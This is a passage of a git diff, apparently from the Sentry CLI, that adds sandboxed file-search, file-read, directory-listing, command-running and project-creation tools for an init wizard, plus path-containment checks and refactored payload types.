+ + const { project, dsn, url } = await createProjectWithDsn( + context.org, + teamSlug, + { + name, + platform: payload.params.platform, + } + ); + + return { + ok: true, + data: { + orgSlug: context.org, + projectSlug: project.slug, + projectId: project.id, + dsn: dsn ?? "", + url, + }, + }; + } catch (error) { + return { ok: false, error: formatToolError(error) }; + } +} + +/** + * Tool definition for Sentry project creation. + */ +export const createSentryProjectTool: InitToolDefinition<"create-sentry-project"> = + { + operation: "create-sentry-project", + describe: (payload) => + `Creating project \`${payload.params.name}\` (${payload.params.platform})...`, + execute: createSentryProject, + }; diff --git a/src/lib/init/tools/detect-sentry.ts b/src/lib/init/tools/detect-sentry.ts new file mode 100644 index 000000000..8713b41df --- /dev/null +++ b/src/lib/init/tools/detect-sentry.ts @@ -0,0 +1,33 @@ +import type { DetectSentryPayload, ToolResult } from "../types.js"; +import type { InitToolDefinition } from "./types.js"; + +/** + * Detect existing Sentry signals in the local project directory. + */ +export async function detectSentry(cwd: string): Promise { + const { detectDsn } = await import("../../dsn/index.js"); + const dsn = await detectDsn(cwd); + + if (!dsn) { + return { ok: true, data: { status: "none", signals: [] } }; + } + + const signals = [ + `dsn: ${dsn.source}${dsn.sourcePath ? ` (${dsn.sourcePath})` : ""}`, + ]; + + return { + ok: true, + data: { status: "installed", signals, dsn: dsn.raw }, + }; +} + +/** + * Tool definition for Sentry install detection. + */ +export const detectSentryTool: InitToolDefinition<"detect-sentry"> = { + operation: "detect-sentry", + describe: () => "Checking for existing Sentry setup...", + execute: async (payload: DetectSentryPayload) => + await detectSentry(payload.cwd), +}; diff --git a/src/lib/init/tools/file-exists-batch.ts b/src/lib/init/tools/file-exists-batch.ts new file mode 100644 index 000000000..6553c3d80 --- /dev/null +++ b/src/lib/init/tools/file-exists-batch.ts @@ -0,0 +1,58 @@ +import fs from "node:fs"; +import type { FileExistsBatchPayload, ToolResult } from "../types.js"; +import { safePath } from "./shared.js"; +import type { InitToolDefinition } from "./types.js"; + +const PATH_SEGMENT_RE = /[/\\]/u; + +/** + * Check whether a batch of paths exists inside the sandbox. + */ +export async function fileExistsBatch( + payload: FileExistsBatchPayload +): Promise { + const results = await Promise.all( + payload.params.paths.map(async (filePath) => { + try { + const absPath = safePath(payload.cwd, filePath); + await fs.promises.access(absPath); + return [filePath, true] as const; + } catch { + return [filePath, false] as const; + } + }) + ); + + const exists: Record = {}; + for (const [filePath, found] of results) { + exists[filePath] = found; + } + + return { ok: true, data: { exists } }; +} + +/** + * Tool definition for batched existence checks. + */ +export const fileExistsBatchTool: InitToolDefinition<"file-exists-batch"> = { + operation: "file-exists-batch", + describe: (payload) => { + const [first, second] = payload.params.paths; + if (!first) { + return "Checking files..."; + } + if (!second && payload.params.paths.length === 1) { + return `Checking \`${pathBase(first)}\`...`; + } + if (payload.params.paths.length === 2 && second) { + return `Checking \`${pathBase(first)}\`, \`${pathBase(second)}\`...`; + } + return `Checking ${payload.params.paths.length} files (\`${pathBase(first)}\`${second ? `, \`${pathBase(second)}\`` : ""}, ...)...`; + }, + execute: fileExistsBatch, +}; + +function pathBase(filePath: string): string { + const parts = filePath.split(PATH_SEGMENT_RE); + return parts.at(-1) ?? filePath; +} diff --git a/src/lib/init/tools/glob.ts b/src/lib/init/tools/glob.ts new file mode 100644 index 000000000..91886a07c --- /dev/null +++ b/src/lib/init/tools/glob.ts @@ -0,0 +1,145 @@ +import path from "node:path"; +import type { GlobPayload, ToolResult } from "../types.js"; +import { + isGitRepo, + resolveSearchTarget, + spawnSearchProcess, + walkFiles, +} from "./search-utils.js"; +import type { InitToolDefinition } from "./types.js"; + +const MAX_GLOB_RESULTS = 100; + +async function rgGlobSearch(opts: { + cwd: string; + pattern: string; + target: string; + maxResults: number; +}): Promise<{ files: string[]; truncated: boolean }> { + const { stdout, exitCode } = await spawnSearchProcess( + "rg", + ["--files", "--hidden", "--glob", opts.pattern, opts.target], + opts.cwd + ); + + if (exitCode === 1 || (exitCode === 2 && !stdout.trim())) { + return { files: [], truncated: false }; + } + if (exitCode !== 0 && exitCode !== 2) { + throw new Error(`ripgrep failed with exit code ${exitCode}`); + } + + const lines = stdout.split("\n").filter(Boolean); + const truncated = lines.length > opts.maxResults; + const files = lines + .slice(0, opts.maxResults) + .map((filePath) => path.relative(opts.cwd, filePath)); + return { files, truncated }; +} + +async function gitLsFiles(opts: { + cwd: string; + pattern: string; + target: string; + maxResults: number; +}): Promise<{ files: string[]; truncated: boolean }> { + const { stdout, exitCode } = await spawnSearchProcess( + "git", + ["ls-files", "--cached", "--others", "--exclude-standard", opts.pattern], + opts.target + ); + + if (exitCode !== 0) { + throw new Error(`git ls-files failed with exit code ${exitCode}`); + } + + const lines = stdout.split("\n").filter(Boolean); + const truncated = lines.length > opts.maxResults; + const files = lines + .slice(0, opts.maxResults) + .map((filePath) => + path.relative(opts.cwd, path.resolve(opts.target, filePath)) + ); + return { files, truncated }; +} + +async function fsGlobSearch(opts: { + cwd: string; + pattern: string; + searchPath: string | undefined; + maxResults: number; +}): Promise<{ files: string[]; truncated: boolean }> { + const target = resolveSearchTarget(opts.cwd, opts.searchPath); + const files: string[] = []; + + for await (const rel of walkFiles(opts.cwd, target, opts.pattern)) { + files.push(rel); + if (files.length > opts.maxResults) { + break; + } + } + + const truncated = files.length > opts.maxResults; + if (truncated) { + files.length = opts.maxResults; + } + return { files, truncated }; +} + +async function globSearch(opts: { + cwd: string; + pattern: string; + searchPath: string | undefined; + maxResults: number; +}): Promise<{ files: string[]; truncated: boolean }> { + const target = resolveSearchTarget(opts.cwd, opts.searchPath); + const resolvedOpts = { ...opts, target }; + + try { + return await rgGlobSearch(resolvedOpts); + } catch { + if (isGitRepo(opts.cwd)) { + try { + return await gitLsFiles(resolvedOpts); + } catch { + // fall through to filesystem search + } + } + return await fsGlobSearch(opts); + } +} + +/** + * Find files matching one or more glob patterns. + */ +export async function glob(payload: GlobPayload): Promise { + const maxResults = payload.params.maxResults ?? MAX_GLOB_RESULTS; + const results = await Promise.all( + payload.params.patterns.map(async (pattern) => { + const { files, truncated } = await globSearch({ + cwd: payload.cwd, + pattern, + searchPath: payload.params.path, + maxResults, + }); + return { pattern, files, truncated }; + }) + ); + + return { ok: true, data: { results } }; +} + +/** + * Tool definition for glob-based file discovery. + */ +export const globTool: InitToolDefinition<"glob"> = { + operation: "glob", + describe: (payload) => { + const [first] = payload.params.patterns; + if (payload.params.patterns.length === 1 && first) { + return `Finding files matching \`${first}\`...`; + } + return `Finding files (${payload.params.patterns.length} patterns)...`; + }, + execute: glob, +}; diff --git a/src/lib/init/tools/grep.ts b/src/lib/init/tools/grep.ts new file mode 100644 index 000000000..08f2d65d3 --- /dev/null +++ b/src/lib/init/tools/grep.ts @@ -0,0 +1,299 @@ +import fs from "node:fs"; +import path from "node:path"; +import { MAX_FILE_BYTES } from "../constants.js"; +import type { GrepPayload, ToolResult } from "../types.js"; +import { + isGitRepo, + resolveSearchTarget, + spawnSearchProcess, + walkFiles, +} from "./search-utils.js"; +import type { InitToolDefinition } from "./types.js"; + +const MAX_GREP_RESULTS_PER_SEARCH = 100; +const MAX_GREP_LINE_LENGTH = 2000; +const GREP_LINE_RE = /^(.+?):(\d+):(.*)$/; + +type GrepMatch = { path: string; lineNum: number; line: string }; + +function truncateMatchLine(line: string): string { + if (line.length <= MAX_GREP_LINE_LENGTH) { + return line; + } + return `${line.substring(0, MAX_GREP_LINE_LENGTH)}…`; +} + +function limitMatches( + matches: T[], + maxResults: number +): { matches: T[]; truncated: boolean } { + const truncated = matches.length > maxResults; + if (truncated) { + matches.length = maxResults; + } + return { matches, truncated }; +} + +function parseRgGrepOutput( + cwd: string, + stdout: string, + maxResults: number +): { matches: GrepMatch[]; truncated: boolean } { + const lines = stdout.split("\n").filter(Boolean); + const matches: GrepMatch[] = []; + + for (const line of lines.slice(0, maxResults)) { + const firstSep = line.indexOf("|"); + if (firstSep === -1) { + continue; + } + + const filePart = line.substring(0, firstSep); + const rest = line.substring(firstSep + 1); + const secondSep = rest.indexOf("|"); + if (secondSep === -1) { + continue; + } + + const lineNum = Number.parseInt(rest.substring(0, secondSep), 10); + const text = truncateMatchLine(rest.substring(secondSep + 1)); + matches.push({ path: path.relative(cwd, filePart), lineNum, line: text }); + } + + return { + matches, + truncated: lines.length > maxResults, + }; +} + +async function rgGrepSearch(opts: { + cwd: string; + pattern: string; + target: string; + include: string | undefined; + maxResults: number; +}): Promise<{ matches: GrepMatch[]; truncated: boolean }> { + const args = [ + "-nH", + "--no-messages", + "--hidden", + "--field-match-separator=|", + "--regexp", + opts.pattern, + ]; + if (opts.include) { + args.push("--glob", opts.include); + } + args.push(opts.target); + + const { stdout, exitCode } = await spawnSearchProcess("rg", args, opts.cwd); + if (exitCode === 1 || (exitCode === 2 && !stdout.trim())) { + return { matches: [], truncated: false }; + } + if (exitCode !== 0 && exitCode !== 2) { + throw new Error(`ripgrep failed with exit code ${exitCode}`); + } + + return parseRgGrepOutput(opts.cwd, stdout, opts.maxResults); +} + +function compilePattern(pattern: string): RegExp | null { + try { + return new RegExp(pattern); + } catch { + return null; + } +} + +async function readSearchableFile(absPath: string): Promise { + try { + const stat = await fs.promises.stat(absPath); + if (stat.size > MAX_FILE_BYTES) { + return null; + } + return await fs.promises.readFile(absPath, "utf-8"); + } catch { + return null; + } +} + +function findRegexMatches( + relPath: string, + content: string, + regex: RegExp, + maxResults: number +): GrepMatch[] { + const matches: GrepMatch[] = []; + const lines = content.split("\n"); + + for (let i = 0; i < lines.length; i += 1) { + const line = lines[i] ?? ""; + regex.lastIndex = 0; + if (!regex.test(line)) { + continue; + } + + matches.push({ + path: relPath, + lineNum: i + 1, + line: truncateMatchLine(line), + }); + if (matches.length > maxResults) { + break; + } + } + + return matches; +} + +async function fsGrepSearch(opts: { + cwd: string; + pattern: string; + searchPath: string | undefined; + include: string | undefined; + maxResults: number; +}): Promise<{ matches: GrepMatch[]; truncated: boolean }> { + const target = resolveSearchTarget(opts.cwd, opts.searchPath); + const regex = compilePattern(opts.pattern); + if (!regex) { + return { matches: [], truncated: false }; + } + + const matches: GrepMatch[] = []; + for await (const rel of walkFiles(opts.cwd, target, opts.include)) { + if (matches.length > opts.maxResults) { + break; + } + + const absPath = path.join(opts.cwd, rel); + const content = await readSearchableFile(absPath); + if (!content) { + continue; + } + + matches.push( + ...findRegexMatches( + rel, + content, + regex, + opts.maxResults - matches.length + 1 + ) + ); + } + + return limitMatches(matches, opts.maxResults); +} + +function parseGrepOutput( + stdout: string, + maxResults: number, + pathPrefix?: string +): { matches: GrepMatch[]; truncated: boolean } { + const matches: GrepMatch[] = []; + for (const line of stdout.split("\n").filter(Boolean)) { + const match = line.match(GREP_LINE_RE); + if (!(match?.[1] && match[2] && match[3] !== undefined)) { + continue; + } + + matches.push({ + path: pathPrefix ? path.join(pathPrefix, match[1]) : match[1], + lineNum: Number.parseInt(match[2], 10), + line: truncateMatchLine(match[3]), + }); + if (matches.length > maxResults) { + break; + } + } + + return limitMatches(matches, maxResults); +} + +async function gitGrepSearch(opts: { + cwd: string; + pattern: string; + target: string; + include: string | undefined; + maxResults: number; +}): Promise<{ matches: GrepMatch[]; truncated: boolean }> { + const args = ["grep", "--untracked", "-n", "-E", opts.pattern]; + if (opts.include) { + args.push("--", opts.include); + } + + const { stdout, exitCode } = await spawnSearchProcess( + "git", + args, + opts.target + ); + if (exitCode === 1) { + return { matches: [], truncated: false }; + } + if (exitCode !== 0) { + throw new Error(`git grep failed with exit code ${exitCode}`); + } + + const prefix = path.relative(opts.cwd, opts.target); + return parseGrepOutput(stdout, opts.maxResults, prefix || undefined); +} + +async function grepSearch(opts: { + cwd: string; + pattern: string; + searchPath: string | undefined; + include: string | undefined; + maxResults: number; +}): Promise<{ matches: GrepMatch[]; truncated: boolean }> { + const target = resolveSearchTarget(opts.cwd, opts.searchPath); + const resolvedOpts = { ...opts, target }; + + try { + return await rgGrepSearch(resolvedOpts); + } catch { + if (isGitRepo(opts.cwd)) { + try { + return await gitGrepSearch(resolvedOpts); + } catch { + // fall through to filesystem search + } + } + return await fsGrepSearch(opts); + } +} + +/** + * Search project files for one or more regex patterns. + */ +export async function grep(payload: GrepPayload): Promise { + const maxResults = + payload.params.maxResultsPerSearch ?? MAX_GREP_RESULTS_PER_SEARCH; + const results = await Promise.all( + payload.params.searches.map(async (search) => { + const { matches, truncated } = await grepSearch({ + cwd: payload.cwd, + pattern: search.pattern, + searchPath: search.path, + include: search.include, + maxResults, + }); + return { pattern: search.pattern, matches, truncated }; + }) + ); + + return { ok: true, data: { results } }; +} + +/** + * Tool definition for grep-like project searches. + */ +export const grepTool: InitToolDefinition<"grep"> = { + operation: "grep", + describe: (payload) => { + const [first] = payload.params.searches; + if (payload.params.searches.length === 1 && first) { + return `Searching for \`${first.pattern}\`...`; + } + return `Running ${payload.params.searches.length} searches...`; + }, + execute: grep, +}; diff --git a/src/lib/init/tools/list-dir.ts b/src/lib/init/tools/list-dir.ts new file mode 100644 index 000000000..48fd7e557 --- /dev/null +++ b/src/lib/init/tools/list-dir.ts @@ -0,0 +1,117 @@ +import fs from "node:fs"; +import path from "node:path"; +import type { DirEntry, ListDirPayload, ToolResult } from "../types.js"; +import { safePath } from "./shared.js"; +import type { InitToolDefinition } from "./types.js"; + +/** + * List files and directories within the workflow sandbox. + */ +export async function listDir(payload: ListDirPayload): Promise { + const { cwd, params } = payload; + const targetPath = safePath(cwd, params.path); + const maxDepth = params.maxDepth ?? 3; + const maxEntries = params.maxEntries ?? 500; + const recursive = params.recursive ?? false; + const walkState = { + cwd, + entries: [] as DirEntry[], + maxDepth, + maxEntries, + recursive, + }; + + await walkDirectory(targetPath, 0, walkState); + const { entries } = walkState; + return { ok: true, data: { entries } }; +} + +type WalkState = { + cwd: string; + entries: DirEntry[]; + maxDepth: number; + maxEntries: number; + recursive: boolean; +}; + +function reachedWalkLimit(state: WalkState, depth: number): boolean { + return state.entries.length >= state.maxEntries || depth > state.maxDepth; +} + +async function readDirEntries(dir: string): Promise { + try { + return await fs.promises.readdir(dir, { withFileTypes: true }); + } catch { + return []; + } +} + +function toDirEntry( + cwd: string, + dir: string, + entry: fs.Dirent +): DirEntry | undefined { + const relPath = path.relative(cwd, path.join(dir, entry.name)); + + if (entry.isSymbolicLink()) { + try { + safePath(cwd, relPath); + } catch { + return; + } + } + + return { + name: entry.name, + path: relPath, + type: entry.isDirectory() ? "directory" : "file", + }; +} + +function shouldRecurseInto(entry: fs.Dirent, state: WalkState): boolean { + return ( + state.recursive && + entry.isDirectory() && + !entry.isSymbolicLink() && + !entry.name.startsWith(".") && + entry.name !== "node_modules" + ); +} + +async function walkDirectory( + dir: string, + depth: number, + state: WalkState +): Promise { + if (reachedWalkLimit(state, depth)) { + return; + } + + const dirEntries = await readDirEntries(dir); + for (const entry of dirEntries) { + if (reachedWalkLimit(state, depth)) { + return; + } + + const nextEntry = toDirEntry(state.cwd, dir, entry); + if (!nextEntry) { + continue; + } + + state.entries.push(nextEntry); + if (!shouldRecurseInto(entry, state)) { + continue; + } + + await walkDirectory(path.join(dir, entry.name), depth + 1, state); + } +} + +/** + * Tool definition for directory listing requests. + */ +export const listDirTool: InitToolDefinition<"list-dir"> = { + operation: "list-dir", + describe: () => "Listing directory...", + execute: listDir, +}; diff --git a/src/lib/init/tools/read-files.ts b/src/lib/init/tools/read-files.ts new file mode 100644 index 000000000..b0ce88db6 --- /dev/null +++ b/src/lib/init/tools/read-files.ts @@ -0,0 +1,80 @@ +import fs from "node:fs"; +import { MAX_FILE_BYTES } from "../constants.js"; +import type { ReadFilesPayload, ToolResult } from "../types.js"; +import { safePath } from "./shared.js"; +import type { InitToolDefinition } from "./types.js"; + +const PATH_SEGMENT_RE = /[/\\]/u; + +/** + * Read one or more files from the sandboxed project directory. + */ +export async function readFiles( + payload: ReadFilesPayload +): Promise { + const maxBytes = payload.params.maxBytes ?? MAX_FILE_BYTES; + const results = await Promise.all( + payload.params.paths.map(async (filePath) => { + const content = await readSingleFile(payload.cwd, filePath, maxBytes); + return [filePath, content] as const; + }) + ); + + const files: Record = {}; + for (const [filePath, content] of results) { + files[filePath] = content; + } + + return { ok: true, data: { files } }; +} + +async function readSingleFile( + cwd: string, + filePath: string, + maxBytes: number +): Promise { + try { + const absPath = safePath(cwd, filePath); + const stat = await fs.promises.stat(absPath); + if (stat.size <= maxBytes) { + return await fs.promises.readFile(absPath, "utf-8"); + } + + const handle = await fs.promises.open(absPath, "r"); + try { + const buffer = Buffer.alloc(maxBytes); + await handle.read(buffer, 0, maxBytes, 0); + return buffer.toString("utf-8"); + } finally { + await handle.close(); + } + } catch { + return null; + } +} + +/** + * Tool definition for batched file reads. + */ +export const readFilesTool: InitToolDefinition<"read-files"> = { + operation: "read-files", + describe: (payload) => { + const [first, second] = payload.params.paths; + if (!first) { + return "Reading files..."; + } + if (!second && payload.params.paths.length === 1) { + return `Reading \`${pathBase(first)}\`...`; + } + if (payload.params.paths.length === 2 && second) { + return `Reading \`${pathBase(first)}\`, \`${pathBase(second)}\`...`; + } + return `Reading ${payload.params.paths.length} files (\`${pathBase(first)}\`${second ? `, \`${pathBase(second)}\`` : ""}, ...)...`; + }, + execute: readFiles, +}; + +function pathBase(filePath: string): string { + const parts = filePath.split(PATH_SEGMENT_RE); + return parts.at(-1) ?? filePath; +} diff --git a/src/lib/init/tools/registry.ts b/src/lib/init/tools/registry.ts new file mode 100644 index 000000000..debc11636 --- /dev/null +++ b/src/lib/init/tools/registry.ts @@ -0,0 +1,63 @@ +import type { ToolOperation, ToolPayload, ToolResult } from "../types.js"; +import { applyPatchsetTool } from "./apply-patchset.js"; +import { createSentryProjectTool } from "./create-sentry-project.js"; +import { detectSentryTool } from "./detect-sentry.js"; +import { fileExistsBatchTool } from "./file-exists-batch.js"; +import { globTool } from "./glob.js"; +import { grepTool } from "./grep.js"; +import { listDirTool } from "./list-dir.js"; +import { readFilesTool } from "./read-files.js"; +import { runCommandsTool } from "./run-commands.js"; +import { formatToolError, validateToolSandbox } from "./shared.js"; +import type { AnyInitToolDefinition, ToolContext } from "./types.js"; + +const toolDefinitions = [ + listDirTool, + readFilesTool, + fileExistsBatchTool, + runCommandsTool, + applyPatchsetTool, + grepTool, + globTool, + createSentryProjectTool, + detectSentryTool, +] as const satisfies readonly AnyInitToolDefinition[]; + +const toolRegistry = new Map( + toolDefinitions.map((tool) => [tool.operation, tool] as const) +); + +/** + * Build the spinner message for a suspended tool request. + */ +export function describeTool(payload: ToolPayload): string { + const tool = toolRegistry.get(payload.operation); + return tool ? tool.describe(payload as never) : `${payload.operation}...`; +} + +/** + * Execute a suspended tool request against the local filesystem/API context. + */ +export async function executeTool( + payload: ToolPayload, + context: ToolContext +): Promise { + const sandboxError = validateToolSandbox(payload, context.directory); + if (sandboxError) { + return sandboxError; + } + + const tool = toolRegistry.get(payload.operation); + if (!tool) { + return { + ok: false, + error: `Unknown operation: ${(payload as { operation?: string }).operation ?? "unknown"}`, + }; + } + + try { + return await tool.execute(payload as never, context); + } catch (error) { + return { ok: false, error: formatToolError(error) }; + } +} diff --git a/src/lib/init/tools/run-commands.ts b/src/lib/init/tools/run-commands.ts new file mode 100644 index 000000000..f830d690c --- /dev/null +++ b/src/lib/init/tools/run-commands.ts @@ -0,0 +1,123 @@ +import { DEFAULT_COMMAND_TIMEOUT_MS } from "../constants.js"; +import type { RunCommandsPayload, ToolResult } from "../types.js"; +import { + parseCommand, + readSpawnOutput, + validateCommand as validateToolCommand, +} from "./command-utils.js"; +import type { InitToolDefinition, ToolContext } from "./types.js"; + +/** + * Validate and execute a batch of shell-free commands. + */ +export async function runCommands( + payload: RunCommandsPayload, + context: Pick +): Promise { + const timeoutMs = payload.params.timeoutMs ?? DEFAULT_COMMAND_TIMEOUT_MS; + const parsedCommands: ReturnType[] = []; + + for (const command of payload.params.commands) { + const validationError = validateToolCommand(command); + if (validationError) { + return { ok: false, error: validationError }; + } + parsedCommands.push(parseCommand(command)); + } + + const results: Array<{ + command: string; + exitCode: number; + stdout: string; + stderr: string; + }> = []; + + for (const command of parsedCommands) { + if (context.dryRun) { + results.push({ + command: command.original, + exitCode: 0, + stdout: "(dry-run: skipped)", + stderr: "", + }); + continue; + } + + const result = await runSingleCommand(command, payload.cwd, timeoutMs); + results.push(result); + if (result.exitCode !== 0) { + return { + ok: false, + error: `Command "${command.original}" failed with exit code ${result.exitCode}: ${result.stderr}`, + data: { results }, + }; + } + } + + return { ok: true, data: { results } }; +} + +async function runSingleCommand( + command: ReturnType, + cwd: string, + timeoutMs: number +): Promise<{ + command: string; + exitCode: number; + stdout: string; + stderr: string; +}> { + const executable = Bun.which(command.executable) ?? command.executable; + + try { + const child = Bun.spawn([executable, ...command.args], { + cwd, + stdin: "ignore", + stdout: "pipe", + stderr: "pipe", + }); + let timedOut = false; + const timer = setTimeout(() => { + timedOut = true; + child.kill(); + }, timeoutMs); + + const [exitCode, stdout, stderr] = await Promise.all([ + child.exited, + readSpawnOutput(child.stdout), + readSpawnOutput(child.stderr), + ]); + clearTimeout(timer); + + return { + command: command.original, + exitCode: timedOut ? 1 : exitCode, + stdout, + stderr: timedOut + ? stderr || `Command timed out after ${timeoutMs}ms` + : stderr, + }; + } catch (error) { + return { + command: command.original, + exitCode: 1, + stdout: "", + stderr: error instanceof Error ? error.message : String(error), + }; + } +} + +/** + * Tool definition for sandboxed command execution. + */ +export const runCommandsTool: InitToolDefinition<"run-commands"> = { + operation: "run-commands", + describe: (payload) => { + const [first] = payload.params.commands; + if (payload.params.commands.length === 1 && first) { + return `Running \`${first}\`...`; + } + return `Running ${payload.params.commands.length} commands (\`${first ?? "..."}\`, ...)...`; + }, + execute: runCommands, +}; diff --git a/src/lib/init/tools/search-utils.ts b/src/lib/init/tools/search-utils.ts new file mode 100644 index 000000000..0f857dd00 --- /dev/null +++ b/src/lib/init/tools/search-utils.ts @@ -0,0 +1,146 @@ +import { spawn as nodeSpawn } from "node:child_process"; +import fs from "node:fs"; +import path from "node:path"; +import { MAX_OUTPUT_BYTES } from "../constants.js"; +import { safePath } from "./shared.js"; + +const MAX_STDERR_CHUNKS = 64; + +export const SEARCH_SKIP_DIRS = new Set([ + "node_modules", + ".git", + "__pycache__", + ".venv", + "venv", + "dist", + "build", +]); + +type SearchProcessResult = { + stdout: string; + stderr: string; + exitCode: number; +}; + +/** + * Resolve an optional search path within the init sandbox. + */ +export function resolveSearchTarget( + cwd: string, + searchPath: string | undefined +): string { + return searchPath ? safePath(cwd, searchPath) : cwd; +} + +/** + * Spawn a search helper process, draining both stdout and stderr to avoid + * blocking when a child emits a large amount of diagnostics. + */ +export function spawnSearchProcess( + cmd: string, + args: string[], + cwd: string +): Promise { + return new Promise((resolve, reject) => { + const child = nodeSpawn(cmd, args, { + cwd, + stdio: ["ignore", "pipe", "pipe"], + timeout: 30_000, + }); + + const stdoutChunks: Buffer[] = []; + let stdoutBytes = 0; + child.stdout.on("data", (chunk: Buffer) => { + if (stdoutBytes >= MAX_OUTPUT_BYTES) { + return; + } + + const remaining = MAX_OUTPUT_BYTES - stdoutBytes; + stdoutChunks.push(chunk.subarray(0, remaining)); + stdoutBytes += Math.min(chunk.length, remaining); + }); + + const stderrChunks: Buffer[] = []; + child.stderr.on("data", (chunk: Buffer) => { + if (stderrChunks.length >= MAX_STDERR_CHUNKS) { + return; + } + + stderrChunks.push(chunk); + }); + + child.on("error", reject); + child.on("close", (code, signal) => { + if (signal) { + reject(new Error(`Process killed by ${signal} (timeout)`)); + return; + } + + resolve({ + stdout: Buffer.concat(stdoutChunks).toString("utf-8"), + stderr: Buffer.concat(stderrChunks).toString("utf-8"), + exitCode: code ?? 1, + }); + }); + }); +} + +/** + * Check whether a directory is a git repository. + */ +export function isGitRepo(dir: string): boolean { + try { + return fs.statSync(path.join(dir, ".git")).isDirectory(); + } catch { + return false; + } +} + +/** + * Minimal glob matcher supporting `*`, `**`, and `?`. + */ +export function matchGlob(name: string, pattern: string): boolean { + const re = pattern + .replace(/[.+^${}()|[\]\\]/g, "\\$&") + .replace(/\*\*/g, "\0") + .replace(/\*/g, "[^/]*") + .replace(/\0/g, ".*") + .replace(/\?/g, "."); + return new RegExp(`^${re}$`).test(name); +} + +/** + * Recursively walk a directory and yield file paths relative to the original + * cwd, skipping common dependency and build directories. + */ +export async function* walkFiles( + root: string, + base: string, + globPattern: string | undefined +): AsyncGenerator { + let entries: fs.Dirent[]; + try { + entries = await fs.promises.readdir(base, { withFileTypes: true }); + } catch { + return; + } + + for (const entry of entries) { + const full = path.join(base, entry.name); + const rel = path.relative(root, full); + + if (entry.isDirectory() && !SEARCH_SKIP_DIRS.has(entry.name)) { + yield* walkFiles(root, full, globPattern); + continue; + } + + if (!entry.isFile()) { + continue; + } + + const matchTarget = globPattern?.includes("/") ? rel : entry.name; + if (!globPattern || matchGlob(matchTarget, globPattern)) { + yield rel; + } + } +} diff --git a/src/lib/init/tools/shared.ts b/src/lib/init/tools/shared.ts new file mode 100644 index 000000000..18ee2557f --- /dev/null +++ b/src/lib/init/tools/shared.ts @@ -0,0 +1,85 @@ +import fs from "node:fs"; +import path from "node:path"; +import { ApiError } from "../../errors.js"; +import type { ToolPayload, ToolResult } from "../types.js"; + +/** + * Resolve a path relative to cwd and verify it stays inside the project root. + */ +export function safePath(cwd: string, relative: string): string { + const resolved = path.resolve(cwd, relative); + const normalizedCwd = path.resolve(cwd); + if ( + !resolved.startsWith(normalizedCwd + path.sep) && + resolved !== normalizedCwd + ) { + throw new Error(`Path "${relative}" resolves outside project directory`); + } + + let realCwd: string; + try { + realCwd = fs.realpathSync(normalizedCwd); + } catch { + return resolved; + } + + let checkPath = resolved; + for (;;) { + try { + const real = fs.realpathSync(checkPath); + if (!real.startsWith(realCwd + path.sep) && real !== realCwd) { + throw new Error( + `Path "${relative}" resolves outside project directory via symlink` + ); + } + break; + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== "ENOENT") { + throw error; + } + + const parent = path.dirname(checkPath); + if (parent === checkPath) { + break; + } + checkPath = parent; + } + } + + return resolved; +} + +/** + * Reject tool executions whose requested cwd escapes the selected project root. + */ +export function validateToolSandbox( + payload: Pick, + directory: string +): ToolResult | undefined { + const normalizedCwd = path.resolve(payload.cwd); + const normalizedDir = path.resolve(directory); + if ( + normalizedCwd !== normalizedDir && + !normalizedCwd.startsWith(normalizedDir + path.sep) + ) { + return { + ok: false, + error: `Blocked: cwd "${payload.cwd}" is outside project directory "${directory}"`, + }; + } + + return; +} + +/** + * Format thrown tool errors into user-facing strings. + */ +export function formatToolError(error: unknown): string { + if (error instanceof ApiError) { + return error.format(); + } + if (error instanceof Error) { + return error.message; + } + return String(error); +} diff --git a/src/lib/init/tools/types.ts b/src/lib/init/tools/types.ts new file mode 100644 index 000000000..0d608f101 --- /dev/null +++ b/src/lib/init/tools/types.ts @@ -0,0 +1,35 @@ +import type { + ResolvedInitContext, + ToolOperation, + ToolPayload, + ToolResult, +} from "../types.js"; + +/** + * Client-side context available to init tools while the workflow is suspended. + */ +export type ToolContext = ResolvedInitContext; + +/** + * A single init tool implementation plus its user-facing spinner copy. + */ +export type InitToolDefinition = { + /** Stable operation name used in suspend payloads. */ + operation: TOperation; + /** Build a short spinner message for the current payload. */ + describe: ( + payload: Extract + ) => string; + /** Execute the tool and return a resumable payload result. */ + execute: ( + payload: Extract, + context: ToolContext + ) => Promise; +}; + +/** + * Union of all concrete init tool definitions. + */ +export type AnyInitToolDefinition = { + [Operation in ToolOperation]: InitToolDefinition; +}[ToolOperation]; diff --git a/src/lib/init/types.ts b/src/lib/init/types.ts index 10b87b319..68f089ef3 100644 --- a/src/lib/init/types.ts +++ b/src/lib/init/types.ts @@ -4,24 +4,44 @@ export type DirEntry = { type: "file" | "directory"; }; +export type ExistingProjectData = { + orgSlug: string; + projectSlug: string; + projectId: string; + dsn: string; + url: string; +}; + export type WizardOptions = { directory: string; yes: boolean; dryRun: boolean; features?: string[]; - /** Explicit team slug to create the project under. Skips team resolution. */ team?: string; - /** Explicit org slug from CLI arg (e.g., "acme" from "acme/my-app"). Skips interactive org selection. */ org?: string; - /** Explicit project name from CLI arg (e.g., "my-app" from "acme/my-app"). Overrides wizard-detected name. */ project?: string; - /** Auth token for injecting into generated env files (e.g., .env.sentry-build-plugin). Never sent to the server. */ +}; + +export type ResolvedInitContext = { + directory: string; + yes: boolean; + dryRun: boolean; + features?: string[]; + org: string; + /** + * Resolved team slug for init operations. + * Omitted when init defers empty-org auto-creation until project creation. + */ + team?: string; + project?: string; authToken?: string; + existingProject?: ExistingProjectData; }; -// Local-op suspend payloads +export type InteractiveContext = Pick; -export type LocalOpPayload = +// Tool suspend payloads +export type ToolPayload = | ListDirPayload | ReadFilesPayload | FileExistsBatchPayload @@ -32,8 +52,10 @@ export type LocalOpPayload = | CreateSentryProjectPayload | DetectSentryPayload; +export type ToolOperation = ToolPayload["operation"]; + export type ListDirPayload = { - type: "local-op"; + type: "tool"; operation: "list-dir"; cwd: string; params: { @@ -45,7 +67,7 @@ export type ListDirPayload = { }; export type ReadFilesPayload = { - type: "local-op"; + type: "tool"; operation: "read-files"; cwd: string; params: { @@ -55,7 +77,7 @@ export type ReadFilesPayload = { }; export type FileExistsBatchPayload = { - type: "local-op"; + type: "tool"; operation: "file-exists-batch"; cwd: string; params: { @@ -64,7 +86,7 @@ export type FileExistsBatchPayload = { }; export type RunCommandsPayload = { - type: "local-op"; + type: "tool"; operation: "run-commands"; cwd: string; params: { @@ -80,7 +102,7 @@ export type GrepSearch = { }; export type GrepPayload = { - type: "local-op"; + type: "tool"; operation: "grep"; cwd: string; params: { @@ -90,7 +112,7 @@ export type GrepPayload = { }; export type GlobPayload = { - type: "local-op"; + type: "tool"; 